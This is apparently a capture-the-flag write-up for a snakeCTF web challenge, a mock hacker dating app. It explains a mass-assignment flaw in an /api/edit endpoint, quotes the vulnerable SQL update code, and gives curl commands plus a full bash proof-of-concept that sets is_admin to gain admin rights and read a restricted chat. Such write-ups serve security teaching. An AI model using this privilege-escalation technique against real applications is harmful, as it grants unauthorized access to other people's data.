๐Ÿ“ฆ Challenge source

๐Ÿ“– Introduction

ExploitMe is a web challenge simulating a dating app for hackers. The main vulnerability lies in the API logic, allowing privilege escalation via a mass assignment flaw. By exploiting this issue, we can escalate to admin and retrieve the flag from a restricted chat.

Context Explanation

The application is a Next.js app using API routes with SQLite for persistence. User registration issues a JWT. Profile updates are done through /api/edit. The backend uses yup for validation but fails to strip unknown fields. This leads to unsanitized attributes being directly mapped into the SQL UPDATE query.

Directive

The goal is to escalate our account privileges to admin and access restricted data (the flag) in chat room #4.


๐Ÿ› ๏ธ Solution

Step 1: Register a new account

curl -s -X POST "$URL/api/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"hitcat","email":"hitcat@snake.ctf","password":"Secret123!"}'

This returns a valid JWT. Register


Step 2: Complete onboarding

curl -s -X POST "$URL/api/onboarding" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "WHITE_HAT",
    "looking_for": "WHITE_HAT",
    "age": 19,
    "likes": ["IoT"],
    "dislikes": ["SIM Swappers"],
    "bio": "Your leet bio here",
    "location": "Obviously, the Internet",
    "hacks": ["Morris Worm"],
    "favorite_hacker": "Kevin Mitnick",
    "favorite_song": "Careless Hacker",
    "favorite_movie": "My Little Pony: The Movie",
    "yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
    "touches_grass": false
  }'

Onboarding


Step 3: Exploit mass assignment in /api/edit

The vulnerable code (edit.js):

const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values = Object.values(validated);
const updateQuery = `UPDATE users SET ${setClause} WHERE id = ?`;

Because yup was not configured with stripUnknown: true, arbitrary fields (e.g. is_admin) pass through.

Exploit:

curl -s -X POST "$URL/api/edit" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":1}'

Edit


Step 4: Abuse admin privilege to report a chat

curl -s -X POST "$URL/api/chat/4/report" \
  -H "Authorization: Bearer $TOKEN"

Report


Step 5: Read restricted messages (flag)

curl -s "$URL/api/chat/4" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.messages[] | .content'

Flag


PoC

#!/bin/bash

URL="https://9f2c6b38bc4461a2b4545a00c94951e2.exploitme.challs.snakectf.org"
USERNAME="hitcat"
EMAIL="hitcat@snake.ctf"
PASSWORD="Secret123!"

# Step 1 : Register and get JWT
echo "[*] Registering user $USERNAME..."
TOKEN=$(curl -s -X POST "$URL/api/register" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" \
  | jq -r .token)

if [ "$TOKEN" = "null" ] || [ -z "$TOKEN" ]; then
  echo "[!] Failed to get token during register"
  exit 1
fi
echo "[+] Token obtained: $TOKEN"

# Step 2 : Onboarding
echo "[*] Sending onboarding data..."
curl -s -X POST "$URL/api/onboarding" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "role": "WHITE_HAT",
    "looking_for": "WHITE_HAT",
    "age": 19,
    "likes": ["IoT"],
    "dislikes": ["SIM Swappers"],
    "bio": "Your leet bio here",
    "location": "Obviously, the Internet",
    "hacks": ["Morris Worm"],
    "favorite_hacker": "Kevin Mitnick",
    "favorite_song": "Careless Hacker",
    "favorite_movie": "My Little Pony: The Movie",
    "yt_embed": "https://www.youtube.com/embed/spY_RFBQu4E?si=hcQTihIIwkkG1mOc",
    "touches_grass": false
  }' | jq .

# Step 3 : Admin priv esc via mass assignment
echo "[*] Trying to escalate privileges (is_admin=1)..."
curl -s -X POST "$URL/api/edit" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":1}' | jq .

# Step 4 : Report match nยฐ4
echo "[*] Reporting match 4..."
curl -s -X POST "$URL/api/chat/4/report" \
  -H "Authorization: Bearer $TOKEN" | jq .

# Step 5 : Reading match nยฐ4 messages
echo "[*] Reading messages from match 4..."
curl -s "$URL/api/chat/4" \
  -H "Authorization: Bearer $TOKEN" \
  | jq -r '.messages[] | .content'

Tips & Tricks

  1. Mass assignment check: Always test with arbitrary fields (is_admin, role, balance) in API endpoints.
  2. Schema validation: In frameworks using yup or joi, confirm whether unknown fields are stripped.
  3. JWT debugging: Decode JWTs locally to confirm claims and ensure escalation is reflected.